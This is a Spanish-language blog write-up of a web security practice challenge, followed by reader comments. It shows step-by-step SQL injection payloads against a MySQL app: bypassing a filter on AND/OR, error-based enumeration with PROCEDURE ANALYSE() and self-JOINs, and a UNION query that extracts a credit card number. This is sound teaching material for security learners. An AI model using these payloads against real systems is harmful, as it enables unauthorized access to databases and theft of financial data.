martes, 16 de abril de 2013

Solución a SQL Injection Challenge Three

Como a cualquiera que se dedica a este mundillo, me encantan los retos de seguridad, pero por desgracia no suelo poderles dedicar el tiempo que requieren. Muchas veces intento ni siquiera mirarlos, sobretodo si tengo mucho trabajo de otras cosas, porque me "pico" con facilidad y soy capaz de tirarme horas y horas hasta que no doy con la solución.

Hace un par de fin de semanas, mi amigo Adrián Bravo estaba resolviendo unos retos de seguridad web y me comentó que había un reto que parecía que "tenía su aquel". "Pégale un vistazo a ver si se te ocurre algo", me dijo. Había conseguido picarme a mirarlo, y ya estaba enganchado, estaba perdido...

El reto, para no destriparlo, lo voy a anonimizar, pero el que lo haya hecho o lo haya intentado seguro que reconocer el formato, así que si no queréis que os lo destripe es el momento de dejar de leer AHORA!


El reto era típico, tenemos un campo de texto libre en el que escribimos el nombre de una persona y nos devuelve de nuevo su nombre si lo encuentra. Si ponemos una comilla simple nos devuelve un bonito error de MySQL, así que ya sabemos dos cosas: que tenemos los errores a la vista y que la base de datos es un MySQL:

theUserName=Mary Martin'

com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''mary martin''' at line 1

Vamos a probar ahora una cadena típica de inyección, a ver que tal nos responde la aplicación:

theUserName=Mary Martin' AND 1=1 #

com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1=1 #'' at line 1

El error habla de un error de sintaxis cerca de 1=1, algo que es un poco raro, porque la instrucción SQL que hemos introducido es perfectamente válida. Este tipo de errores suelen ocurrir cuando existen mecanismos de filtrado que eliminan algunas palabras, lo cual puede resultar en que la sintaxis no sea correcta. Como tenemos la suerte de tener los errores a la vista, vamos a forzar un error a ver si la palabra "AND" nos la está filtrando:

theUserName=Mary Martin' aaaaANDbbbb #

com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'aaaabbbb #'' at line 1

Como podéis ver en el error, la cadena "AND" (case insensitive) la ha eliminado, así que es esto lo que nos está provocando errores de sintaxis, y lo tendremos que tener en cuenta. Haciendo algunas pruebas más vemos que la cadena "OR" también se encuentra filtrada, pero no otras cadenas típicas como "UNION", "SELECT", "FROM", etc, así que vamos a poder hacer un UNION de la manera habitual, a ver los nombres de las tablas:

theUserName=Mary Martin' UNION SELECT table_name FROM information_schema.tables #

com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: SELECT command denied to user 'HdmiNoSignal'@'193.1.201.85' for table 'tables'

Este error no me terminó de quedar claro por qué sucedía, si por una falta de permisos o por un error en el nombre, ya que la cadena infORmation_schema contiene la cadena "OR", y por lo tanto el nombre no va a ser nunca correcto. En cualquier caso, parecía que no íbamos a poder obtener los nombres de las tablas de una manera convencional, así que teníamos dos posibles salidas: La primera de ellas era atacar por fuerza bruta los nombres de las tablas, y la segunda es que la información que buscamos esté en la misma tabla contra la que se realiza la query original. El segundo caso es más sencillo, así que vamos a por él primero, a ver si conseguimos sacar el nombre de la tabla.

theUserName=Mary Martin' PROCEDURE ANALYSE() #


Utilizando PROCEDURE ANALYSE() conseguimos obtener una cadena que nos muestra el nombre de base de datos, tabla y columna que devuelve la query original. En este caso, vemos que la tabla se llama "customers", y que contiene al menos una columna llamada "customerName" pero... ¿tendrá más columnas?

theUserName=Mary Martin' || (SELECT * FROM customers)=1 #

java.sql.SQLException: Operand should contain 5 column(s)

Utilizando el operado "||" en lugar de "OR" para evitar el filtrado, podemos hacer una segunda query que nos devolvería todas las columnas de la tabla "customers" y, al compararla con "1", vamos a obtener un error diciendo que el operado debería tener X columnas, que será la cantidad de columnas que tiene la tabla "customers". Ahora solo nos salta falta saber como se llaman, a ver si alguna de ellas contiene la información sobre tarjetas de crédito que buscamos:

theUserName=Mary Martin' || (SELECT * FROM (SELECT * FROM customers a JOIN customers b) c) #

com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Duplicate column name 'customerId'

Una posible manera de hacerlo es provocando un error al hacer un JOIN, ya que si hacemos un JOIN de una tabla consigo misma, los nombres de las columnas van a coincidir, y este error nos va a mostrar el nombre de la columna coincidente. Lamentablemente solo nos muestra uno de los nombres, así que vamos a tener que ir sacando los nombres de forma iterativa usando la sentencia USING (columna1, columna2, columna3) para hacer que el error se de en la columna siguiente:

theUserName=Mary Martin' || (SELECT * FROM (SELECT * FROM customers
a JOIN customers b USING (customerId,customerName)) c) #


¡¡Perfecto!! Parece que ya sabemos el nombre de la tabla y el nombre de la columna que necesitamos, así que ahora solo nos queda hacer la query para obtener la tarjeta de crédito:

theUserName=Mary Martin' UNION SELECT creditCardNumber FROM
customers WHERE customerName='Mary Martin' #


¡Parece que la lo tenemos! Os dejo tapadito el número de tarjeta de crédito para que, aunque conozcáis el reto, al menos lo tengáis que explotar vosotros mismos ;)

12 comentarios :

neofito dijo...

Genial!! Me quede enganchado probando "union select" y sin saber como podria obtener los nombres de las columnas sin acceso a information_schema.

Supongo que sabras que la version online ya no es accesible, aunque existe una version para descargar y ejecutar localmente.

Saludos y gracias por compartirlo

svoboda dijo...

Muy instructivo el artículo y muy bien explicado.

Solo una pequeña pega que añadir que es un pequeño error tipográfico en la frase "Ahora solo nos salta saber como se llaman" que asumo que debe ser "Ahora solo nos falta saber como se llaman".

Por lo demás, buen trabajo.

Jose Selvi dijo...

@svoboda: Corregido :)

Anónimo dijo...

Genial, me encanta tener estos ejemplos de SQL Injection.

Mil gracias!

Antonio González dijo...

Buena explicación, una pena que esta gente de Latam no nos vuelva abrir la web para escribir un writeup en condiciones... La inyección chula estaba en el último nivel, la de los menus, para resolverlo habia que explotar blind bastante guapo.

Jose Selvi dijo...

@Antonio González: No me piques! Que tengo mucho lio!! xD

Ya cogeré el reto entero, con calma.

Antonio González dijo...

xD yo no digo pero este viernes a las 23:00 empieza la Plaid CTF de los PPP... jajajaja ¿como lo ves?

Jose Selvi dijo...

@Antonio González: Me encantaría participar, pero me abstendré, que sino se me va el fin de semana entero y tengo demasiados temas a los que darles empujones...

Anónimo dijo...

¿Esta online todavia? ¿Es una Vulnerable VM?

neofito dijo...

No se si seran igual que los niveles online, pero sí hay ficheros para descargar:

http://sourceforge.net/projects/owaspshepherd/files/

Saludos

n3k dijo...

Muy bueno lo del PROCEDURE ANALYSE(), nunca lo había visto antes.

Excelente post :)

Antonio González dijo...

Neofito son parecidos pero no iguales, pero sirven para hacerse una idea de como más o menos era el reto.

Gracias por el link, lo estaba buscando :)